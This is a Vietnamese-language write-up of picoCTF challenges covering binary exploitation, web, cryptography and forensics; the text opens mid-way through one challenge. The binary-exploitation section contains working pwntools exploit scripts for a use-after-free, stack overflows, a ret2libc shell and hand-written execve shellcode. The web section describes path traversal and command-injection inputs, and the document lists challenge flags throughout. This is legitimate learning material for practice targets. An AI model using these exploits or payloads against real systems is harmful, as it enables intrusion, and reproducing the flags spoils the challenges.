fgets(buf,FLAG_BUFFER,f);
fprintf(stdout,"%s\n",buf);
fflush(stdout);
}
char * getsline(void) {
getchar();
char * line = malloc(100), * linep = line;
size_t lenmax = 100, len = lenmax;
int c;
if(line == NULL)
return NULL;
for(;;) {
c = fgetc(stdin);
if(c == EOF)
break;
if(--len == 0) {
len = lenmax;
char * linen = realloc(linep, lenmax *= 2);
if(linen == NULL) {
free(linep);
return NULL;
}
line = linen + (line - linep);
linep = linen;
}
if((*line++ = c) == '\n')
break;
}
*line = '\0';
return linep;
}
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
void s(){
printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void p(){
puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}
void m(){
puts("Account created.");
}
void leaveMessage(){
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*)malloc(8);
read(0, msg, 8);
}
void i(){
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if(toupper(response)=='Y'){
puts("Bye!");
free(user);
}else{
puts("Ok. Get premium membership please!");
}
}
void printMenu(){
puts("Welcome to my stream! ^W^");
puts("==========================");
puts("(S)ubscribe to my channel");
puts("(I)nquire about account deletion");
puts("(M)ake an Twixer account");
puts("(P)ay for premium membership");
puts("(l)eave a message(with or without logging in)");
puts("(e)xit");
}
void processInput(){
scanf(" %c", &choice);
choice = toupper(choice);
switch(choice){
case 'S':
if(user){
user->whatToDo = (void*)s;
}else{
puts("Not logged in!");
}
break;
case 'P':
user->whatToDo = (void*)p;
break;
case 'I':
user->whatToDo = (void*)i;
break;
case 'M':
user->whatToDo = (void*)m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
case 'L':
leaveMessage();
break;
case 'E':
exit(0);
default:
puts("Invalid option!");
exit(1);
break;
}
}
int main(){
setbuf(stdout, NULL);
user = (cmd *)malloc(sizeof(user));
while(1){
printMenu();
processInput();
//if(user){
doProcess(user);
//}
}
return 0;
}
```
> theo như source thì option cần khai thác là 'S', 'L', 'M' và 'I'
- check ida

> **main()**

> **s()**
> in cho ta địa chỉ hàm lấy flag
> mà PIE tĩnh nên leak cũng được hoặc lấy địa chỉ trực tiếp cũng được

> **leaveMessage()**
> malloc(8) rồi read data vào nó

> **i()**
> free(user)
> không xoá pointer sau khi free ---> UAF hoặc DBF

> option 'M'
> đọc data vào user
- nhận thấy là target của chúng ta là hàm **hahaexploitgobrrr()**
- phân tích struct

> sau khi opyion 'M' điền data cho user
> malloc(8) tạo chunk size 0x11
> 89f6 là user->whatToDo
> c5c0 là user->username
- free nó rồi option 'L' sửa lại chunk

> do có hàm doProcess() sẽ thực thi cái user
> 
> nên khi ghi 'aaaa' chương trình sẽ không hiểu thực thi hàm 0x61616161 ở đâu
> BUG là UAF
- get flag:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./vuln',checksec=False)
# p = process(exe.path)
p = remote('mercury.picoctf.net',6312)
# gdb.attach(p,gdbscript='''
# b*main+58
# b*leaveMessage+64
# b*i+128
# c
# ''')
# input()
p.sendlineafter(b'(e)xit\n',b'S')
p.recvuntil(b'...')
win = int(p.recvline()[:-1],16)
log.info('leak func: ' + hex(win))
p.sendlineafter(b'(e)xit\n',b'M') #insert data into *user
p.sendline(b'hlaan')
p.sendlineafter(b'(e)xit\n',b'I') #free
p.sendline(b'Y')
p.sendlineafter(b'(e)xit\n',b'L') #uaf
p.send(p32(win))
p.interactive()
#picoCTF{d0ubl3_j30p4rdy_ad77070e}
```
>picoCTF{d0ubl3_j30p4rdy_ad77070e}
---
### clutter-overflow
- basic file check

- source
```c
#include <stdio.h>
#include <stdlib.h>
#define SIZE 0x100
#define GOAL 0xdeadbeef
const char* HEADER =
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
int main(void)
{
long code = 0;
char clutter[SIZE];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(HEADER);
puts("My room is so cluttered...");
puts("What do you see?");
gets(clutter);
if (code == GOAL) {
printf("code == 0x%llx: how did that happen??\n", GOAL);
puts("take a flag for your troubles");
system("cat flag.txt");
} else {
printf("code == 0x%llx\n", code);
printf("code != 0x%llx :(\n", GOAL);
}
return 0;
}
```
- mục tiêu là trong code chúng ta (biến clutter) thoả mãn ``GOAL = 0xdeadbeef``
- thế thì overflow cơ bản thôi
- tính offset:

> so sánh 0xdeadbeef với $rbp-0x8
> overflow đến $rbp-0x8 rồi thêm 0xdeadbeef

> 0x108 bytes 'a' rồi p64(0xdeadbeef)

- script:
```python
#!/usr/bin/python3
from pwn import *
p = remote('mars.picoctf.net',31890)
payload = b'a'*0x108
payload += p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
#picoCTF{c0ntr0ll3d_clutt3r_1n_my_buff3r}
```
>picoCTF{c0ntr0ll3d_clutt3r_1n_my_buff3r}
---
### Here's a LIBC
- basic file check

- check ida

> **main()**

> **convert_case()**

> **do_stuff()**
- có lỗi BOF ở hàm **do_stuff()**
- no **win()** func ---> ret2libc
- calculate offset

> 0x88 (tính từ $rsi xuống $rbp)
- việc còn lại là...

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./vuln_patched',checksec=False)
libc= ELF('./libc.so.6',checksec=False)
# p = process(exe.path)
p = remote('mercury.picoctf.net',62289)
# gdb.attach(p,gdbscript='''
# b*do_stuff+152
# c
# ''')
# input()
pop_rdi = 0x0000000000400913
ret = 0x000000000040052e
p.recvline()
payload = b'a'*0x88
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
p.sendline(payload)
p.recvuntil(b'\n')
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['puts']
log.info('libc leak: ' + hex(libc_leak))
log.info('libc base: ' + hex(libc.address))
payload = b'a'*0x88
payload += p64(ret)
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
p.sendline(payload)
p.interactive()
#picoCTF{1_<3_sm4sh_st4cking_ 8652b55904cb7c}
```
> ``picoCTF{1_<3_sm4sh_st4cking_ 8652b55904cb7c}``
---
### Local Target
- basic file check

- source:
```c
#include <stdio.h>
#include <stdlib.h>
int main(){
FILE *fptr;
char c;
char input[16];
int num = 64;
printf("Enter a string: ");
fflush(stdout);
gets(input);
printf("\n");
printf("num is %d\n", num);
fflush(stdout);
if( num == 65 ){
printf("You win!\n");
fflush(stdout);
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
fflush(stdout);
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
fflush(stdout);
printf("\n");
fflush(stdout);
fclose(fptr);
exit(0);
}
printf("Bye!\n");
fflush(stdout);
}
```
- target của mình là biến **num** bằng giá trị 65 (0x41)
- đọc asm xíu

> tại main+12 sẽ khởi tạo giá trị biến num=64 như source (64=0x40)
> ta cần $rbp-0x8 bằng giá trị 0x41 (num==65)
- tính offset:

>0x18
> ta chỉ việc gửi 0x19 byte 'A' là xong

- script: (ngắn gọn, không cần script cũng đc)

> 'AAAAAAAAAAAAAAAAAAAAAAAAA'
```python
from pwn import *
p = remote('saturn.picoctf.net',54998)
p.sendline(b'A'*0x19)
p.interactive()
#picoCTF{l0c4l5_1n_5c0p3_ee58441a}
```
> picoCTF{l0c4l5_1n_5c0p3_ee58441a}
---
### Picker IV
- basic file check

- source:
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void print_segf_message(){
printf("Segfault triggered! Exiting.\n");
sleep(15);
exit(SIGSEGV);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, print_segf_message);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
unsigned int val;
printf("Enter the address in hex to jump to, excluding '0x': ");
scanf("%x", &val);
printf("You input 0x%x\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
```
- từ source cho thấy nó sẽ nhảy giúp mình vào 1 hàm
- thì ret2win nhưng không cần script
- check địa chỉ hàm **win()**

> 0x40129e
- chỉ cần gửi bỏ '0x' là được

>picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}
---
### [babygame01](https://hackmd.io/@trhoanglan04/BkNgwg7xn#babygame01)
---
### [babygame02](https://hackmd.io/@trhoanglan04/BkNgwg7xn#babygame02)
---
### [two sum](https://hackmd.io/@trhoanglan04/BkNgwg7xn#two-sum)
---
### [hịacking](https://hackmd.io/@trhoanglan04/BkNgwg7xn#hijacking)
---
### [VNE](https://hackmd.io/@trhoanglan04/BkNgwg7xn#VNE)
---
### [tic-tac](https://hackmd.io/@trhoanglan04/BkNgwg7xn#tic-tac)
---
### RPS
- check source:
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
bool play () {
char player_turn[100];
srand(time(0));
int r;
printf("Please make your selection (rock/paper/scissors):\n");
r = tgetinput(player_turn, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}
int main () {
char input[3] = {'\0'};
int command;
int r;
puts("Welcome challenger to the game of Rock, Paper, Scissors");
puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
puts("Are you ready?");
while (true) {
puts("Type '1' to play a game");
puts("Type '2' to exit the program");
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
printf("\n\n");
if (play()) {
wins++;
} else {
wins = 0;
}
if (wins >= 5) {
puts("Congrats, here's the flag!");
puts(flag);
}
} else if (command == 2) {
return 0;
} else {
puts("Please type either 1 or 2");
}
}
return 0;
}
```
- challenge chỉ cho mỗi source, đơn giản thì ta sẽ đọc qua 1 lượt rồi note lại
- in ra flag khi thắng trò kéo búa bao 5 lần
- BUG nặng ở **strstr**
```c
r = tgetinput(player_turn, 100); //input 100 byte
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) { //BUG
puts("You win! Play again?");
return true;
```
- **strstr** là tìm chuỗi B chứa trong A

>``char *strstr(const char *haystack, const char *needle);``
- tức là dù ``lose[computer_turn]`` là chuỗi gì đi nữa, thì miễn sao ``player_turn`` bao quát cả nó thì trả về **True**
```c
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
```
- payload cho 5 lần là ``paperscissorsrock``

- script (hoặc nhập chay cũng được):
```python
#!/usr/bin/python3
from pwn import *
p = remote('saturn.picoctf.net',61558)
for i in range(0,5):
p.sendlineafter(b'program',b'1')
p.sendlineafter(b':',b'paperscissorsrock')
p.interactive()
#picoCTF{50M3_3X7R3M3_1UCK_C85AF58A}
```
>picoCTF{50M3_3X7R3M3_1UCK_C85AF58A}
---
### filtered-shellcode
- basic file check

- check ida

>**main()**

>**execute()**
#### analyse
- ngồi mà đọc ida rồi reverse hiểu có mà mù quít
- nên debug luôn cho nhanh
- sẽ đặt breakpoint trước khi vào hàm **execute()** và lúc nó gọi thực thi `call eax`
>`b*0x80486a3`
>`b*0x80485c9`
- test input là 20 byte 'a'

- ok payload bình thường, tiếp breakpoint thứ 2

- got damn, thấy là cứ 2 byte của payload sẽ chèn 2 byte `nop` (0x90)
>không bị ow đè lên payload
- ròi cuối payload là byte `ret` (0xc3), nhìn lại ida chắc là do vòng lặp này

- thế target mình là mỗi lệnh shellcode chỉ được 2 byte thôi
- về '/bin/sh', ta phải push từng byte 1 rồi đẩy vào 1 thanh ghi nào đó để nhờ nhưng '/bin/sh' phải nằm trên stack
- vì file 32bit nên chỉ đá động $eax, $ebx, $ecx và $edx nên ta lấy $edi sẽ chứa $esp
- rồi chỉ gần ghi trên $edi là sẽ nằm trên stack $esp
- còn lại `int 0x80` rồi get shell thôi
#### get flag

- script
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./fun',checksec=False)
# p = process(exe.path)
p = remote('mercury.picoctf.net',16610)
shellcode = asm('''
xor eax, eax
push eax
push eax
mov edi,esp
mov al,0x2f
add [edi], al
inc edi
nop
mov al,0x62
add [edi], al
inc edi
nop
mov al,0x69
add [edi], al
inc edi
nop
mov al,0x6e
add [edi], al
inc edi
nop
mov al,0x2f
add [edi], al
inc edi
nop
mov al,0x73
add [edi], al
inc edi
nop
mov al,0x68
add [edi], al
inc edi
nop
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 0xb
mov ebx, esp
int 0x80
''')
p.sendline(shellcode)
p.interactive()
#picoCTF{th4t_w4s_fun_aa5df727802dc4a9}
```
>picoCTF{th4t_w4s_fun_aa5df727802dc4a9}
---
## Web Exploitation
### Cookies

- click chuột phải chọn ==Kiểm tra==

- thấy rằng cookie hiện giờ là '-1'
- thử đổi sang '1'

> chả có gì cả
- sang số khác

> 1 cái quote khác
- thì sau khi thử nhiều lần cookie thì thấy '18' hiển thị flag

- giả sử cookie ở vị trí cao hơn thì không may mắn đến vậy =)))
- lúc đó cách tốt nhất là dùng BurpSuit brute thôi
>picoCTF{3v3ry1_l0v3s_c00k135_96cdadfd}
---
### Includes

- crtl + U

- kiểm tra file .css và .js

>picoCTF{1nclu51v17y_1of2_

>f7w_2of2_6edef411}
- flag:
> picoCTF{1nclu51v17y_1of2_f7w_2of2_6edef411}
---
### logon

- click chuột trái, chọn ==Kiểm tra==

> lúc này tham số ``admin`` đang là **False**
> thì double click sửa lại thành **True** rồi load lại trang là có flag (fake admin)

>picoCTF{th3_c0nsp1r4cy_l1v3s_6edb3f5f}
---
### where are the robots

- từ đề bài, cũng nghĩ đến ngay robots.txt

- chuẩn mịa rồi

- chỉ mình đường dẫn khác
- truy cập vào đó là có flag

>picoCTF{ca1cu1at1ng_Mach1n3s_8028f}
---
### dont-use-client-side

- ctrl + U kiểm tra nguồn trang

- flag nằm ở đây, việc mình bây giờ là sắp xếp lại từ ``split*1 đến split*8`` là được, thêm 'pico' cho đúng format flag
>picoCTF{no_clients_plz_7723ce}
---
### Client-side-again

- ctrl + U

- flag nằm trong mảng array
>picoCTF{not_this_again_50a029}
___
### Insp3ct0r

- theo hint, flag sẽ được chia thành 3 phần
- ctrl + U kiểm tra

> thấy phần 1 'picoCTF{tru3_d3'
- check thêm 2 file .css và .js

- part 2

> 't3ct1ve_0r_ju5t'
- part 3

> '_lucky?f10be399}'
- flag:
>picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?f10be399}
---
### Inspect HTML

- ctrl + U

>picoCTF{1n5p3t0r_0f_h7ml_1fd8425b}
---
### Local Authority

- ctrl + U

> chả có gì khai thác
- nhập đại cred rồi ctrl + U lần nữa

- check file secure.js

- nhập lại với cred như trên là có flag

> picoCTF{j5_15_7r4n5p4r3n7_b0c2c9cb}
---
### login

>https://login.mars.picoctf.net/
- ctrl + U

> nhận thấy chuỗi string đó bất thường (chắc bị encoded)
- vậy ta cần decode đoạn đó là có flag

>picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}
---
### Scavenger Hunt

- làm gì thì làm, cứ ctrl + U trước đã

>'picoCTF{t'
- check tiếp 2 file .css và .js

- .css

> 'h4ts_4_l0'
- .js

> lần này k có part 3 nhưng lại nhận 1 gợi ý khác
- Google sẽ sử dụng công cụ ``Google web crawling/spider engine`` để thiết lập các chỉ mục (index) của nó
- để author k muốn những điều này diễn ra, sẽ thêm 1 đường dẫn '/robots.txt' để ngăn điều này
- check '/robots.txt'

>'t_0f_pl4c'
> lại thêm 1 hint khác và có lẽ flag chưa hết
- liên quan đến apache server, có lẽ là mình cần access vào quyền quản lí của apache
- ref : https://httpd.apache.org/docs/2.4/howto/htaccess.html
- check '/.htaccess'

>'3s_2_lO0k'
- từ những gì được hint, liên quan đến cách lưu trữ thông tin website trên MAC

- ref : https://en.wikipedia.org/wiki/.DS_Store
- check '/.DS_Store'

>'_35844447}'
- flag:
> picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_35844447}
---
### Forbidden Paths

- theo như description, flag nằm ở thư mục gốc '/flag.txt'
- nhưng hiện tại đang đọc ở thư mục '/usr/share/nginx/html/'

- vậy đọc file '/../../../../flag.txt' thôi

>picoCTF{7h3_p47h_70_5ucc355_e5fe3d4d}
---
### Secrets

- ctrl + U

- dựa vào hint thấy là 'folders folders folders'
- chắc chắn ta cần tuy cập vào 1 folder nào đó
- dựa vào source trên, ta thấy '/secret/' khá là đáng ngờ

- tiếp tục lại 1 path khác '/hidden/'

- thêm 1 path khác nữa '/superhidden/'

- path hoàn chỉnh '/secret/hidden/superhidden/'
>picoCTF{succ3ss_@h3n1c@10n_51b260fe}
---
### caas

- [index.js](https://artifacts.picoctf.net/picoMini+by+redpwn/Web+Exploitation/caas/index.js)

- đường link đó thêm 'tin nhắn'
- thử 'hello' xem

- vậy ta có thể inject command rồi
- giống bài ``ping`` giải DD_CTF nhỉ =)))
- kế đến ta thêm 'hello;ls'

- đọc flag thôi, nhưng 'falg.txt' mới đúng nha

>picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
---
## Cryptography
### caesar

- đơn giản là mã hoá caesar thôi
- [file](https://jupiter.challenges.picoctf.org/static/49f31c8f17817dc2d367428c9e5ab0bc/ciphertext)

- [dcode.fr](https://www.dcode.fr/shift-cipher)

> picoCTF{crossingtherubiconvfhsjkou}
---
### Mod 26

- liên quan đến ROT13
- [dcode.fr](https://www.dcode.fr/rot-13-cipher) thôi =)))

>picoCTF{next_time_I'll_try_2_rounds_of_rot13_wqWOSBKW}
---
### The Numbers

- [link tải numbers](https://jupiter.challenges.picoctf.org/static/f209a32253affb6f547a585649ba4fda/the_numbers.png)

- tiếp tục [dcode.fr](https://www.dcode.fr/letter-number-cipher) =))

> PICOCTF{THENUMBERSMASON}
---
### 13

- another [dcode.fr](https://www.dcode.fr/rot-13-cipher)

>picoCTF{not_too_bad_of_a_problem}
---
### HideTooSee

- từ hint ta phải extract file ảnh ra

- dùng công cụ ``steghide``
```bash
$ sudo apt-get install steghide
```

> nhận 1 encode string, lại có file ảnh tên atbash và ảnh có nội dung 'atbash cipher'
- tiếp tục [dcode.fr](https://www.dcode.fr/atbash-cipher)

> mục ALPHABET sẽ là từ hình ảnh (từ A đến Z)
- flag:
>picoCTF{atbash_crack_8a0feddc}
---
### ReadMyCert

- hint là tải file về rồi đọc nó
- [file](https://artifacts.picoctf.net/c/425/readmycert.csr)
- vậy ta ``cat`` nó thử

- tiếp tục [dcode.fr](https://www.dcode.fr/cipher-identifier)

> ta nhận 2 luồng khả quan
- mã hoá RAGBABY bịp lắm

- base64 chuẩn hơn

> picoCTF{read_mycert_693f7c03}
---
### rotation

- [file](https://artifacts.picoctf.net/c/387/encrypted.txt)
- nhận file .txt nên ``cat`` luôn

- hint là nên đổi chỗ ---> nghĩ đến caesar cipher
- [dcode.fr](https://www.dcode.fr/caesar-cipher)

>picoCTF{r0tat1on_d3crypt3d_949af1a1}
---
## Forensics
### Information

- nhận được 1 file ảnh

- dùng ``exiftool`` trên linux hoặc [onl tool](https://exif.tools/upload.php)

- strings khả nghi, [decode](https://www.dcode.fr/base-64-encoding) nó

>picoCTF{the_m3tadata_1s_modified}
---
### tunn3l v1s10n

- ta nhận được 1 file data
- chưa biết nó là gì nhưng lại định dạng như 1 hình ảnh

- vậy ta dùng ``exiftool`` để kiểm tra thông tin

> là 1 định dạng file .bmp
- ta rename lại file thêm đuôi '.bmp' vào cuối
- mở file thông thường trên linux hay win tất nhiên là không được, ta mở bằng [Photopea](https://www.photopea.com/)

- ta nhận 1 hình ảnh, có lẽ là flag bịp ``notaflag{sorry}``
- nhưng hint từ challenge lại nói là 'won't display right...'
- nghĩ đến hình ảnh này bị cắt xén

> nhìn kỹ kích cỡ thì thấy được là ảnh hình chữ nhật
> vậy ta chỉnh lại thành hình vuông xem sao (cạnh 1134)

> check xem byte size hình là gì
- sử dụng ``hexedit`` trên linux hoặc [Hexedit](https://hexed.it/)

> thấy size nằm ngay đó
> thống nhất sửa 32 01 thành 6E 04 luôn cho đồng bộ
> dùng phím mũi tên di chuyển trỏ chuột
> chỉnh ngay đâu thì ghi đè ngay đó
> sau đó ctrl + S lưu, ctrl + C để thoát

>sau khi sửa
- mở lại [Photopea](https://www.photopea.com/)

> picoCTF{qu1t3_a_v13w_2020}
---
### Matryoshka doll

- dùng thử ``exiftool`` có lẽ vô vọng
```bash=
hlaan@ubuntu:~/Downloads/pico/forensics$ exiftool dolls.jpg
ExifTool Version Number : 12.40
File Name : dolls.jpg
Directory : .
File Size : 636 KiB
File Modification Date/Time : 2021:03:16 07:23:04+07:00
File Access Date/Time : 2023:08:31 23:35:58+07:00
File Inode Change Date/Time : 2023:08:31 23:35:58+07:00
File Permissions : -rw-rw-r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 594
Image Height : 1104
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Profile Name : ICC Profile
Profile CMM Type : Apple Computer Inc.
Profile Version : 2.1.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 2020:06:09 12:08:45
Profile File Signature : acsp
Primary Platform : Apple Computer Inc.
CMM Flags : Not Embedded, Independent
Device Manufacturer : Apple Computer Inc.
Device Model :
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Apple Computer Inc.
Profile ID : 0
Profile Description : Display
Profile Description ML (hr-HR) : LCD u boji
Profile Description ML (ko-KR) : 컬러 LCD
Profile Description ML (nb-NO) : Farge-LCD
Profile Description ML (hu-HU) : Színes LCD
Profile Description ML (cs-CZ) : Barevný LCD
Profile Description ML (da-DK) : LCD-farveskærm
Profile Description ML (nl-NL) : Kleuren-LCD
Profile Description ML (fi-FI) : Väri-LCD
Profile Description ML (it-IT) : LCD colori
Profile Description ML (es-ES) : LCD color
Profile Description ML (ro-RO) : LCD color
Profile Description ML (fr-CA) : ACL couleur
Profile Description ML (uk-UA) : Кольоровий LCD
Profile Description ML (he-IL) : LCD צבעוני
Profile Description ML (zh-TW) : 彩色LCD
Profile Description ML (vi-VN) : LCD Màu
Profile Description ML (sk-SK) : Farebný LCD
Profile Description ML (zh-CN) : 彩色LCD
Profile Description ML (ru-RU) : Цветной ЖК-дисплей
Profile Description ML (en-GB) : Colour LCD
Profile Description ML (fr-FR) : LCD couleur
Profile Description ML (hi-IN) : रंगीन LCD
Profile Description ML (th-TH) : LCD สี
Profile Description ML (ca-ES) : LCD en color
Profile Description ML (en-AU) : Colour LCD
Profile Description ML (es-XL) : LCD color
Profile Description ML (de-DE) : Farb-LCD
Profile Description ML : Color LCD
Profile Description ML (pt-BR) : LCD Colorido
Profile Description ML (pl-PL) : Kolor LCD
Profile Description ML (el-GR) : Έγχρωμη οθόνη LCD
Profile Description ML (sv-SE) : Färg-LCD
Profile Description ML (tr-TR) : Renkli LCD
Profile Description ML (pt-PT) : LCD a Cores
Profile Description ML (ja-JP) : カラーLCD
Profile Copyright : Copyright Apple Inc., 2020
Media White Point : 0.94955 1 1.08902
Red Matrix Column : 0.51099 0.23955 -0.00104
Green Matrix Column : 0.29517 0.69981 0.04224
Blue Matrix Column : 0.15805 0.06064 0.78369
Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Video Card Gamma : (Binary data 48 bytes, use -b option to extract)
Native Display Info : (Binary data 62 bytes, use -b option to extract)
Chromatic Adaptation : 1.04861 0.02332 -0.05034 0.03018 0.99002 -0.01714 -0.00922 0.01503 0.75172
Make And Model : (Binary data 40 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 144
Y Resolution : 144
Resolution Unit : inches
User Comment : Screenshot
Exif Image Width : 594
Exif Image Height : 1104
Pixels Per Unit X : 5669
Pixels Per Unit Y : 5669
Pixel Units : meters
XMP Toolkit : XMP Core 5.4.0
Apple Data Offsets : (Binary data 28 bytes, use -b option to extract)
Warning : [minor] Trailer data after PNG IEND chunk
Image Size : 594x1104
Megapixels : 0.656
```
- vì hint có nói là file được ẩn giấu trong đó
- sử dụng ``binwalk`` để chiết xuất ra với tham số là '-e'

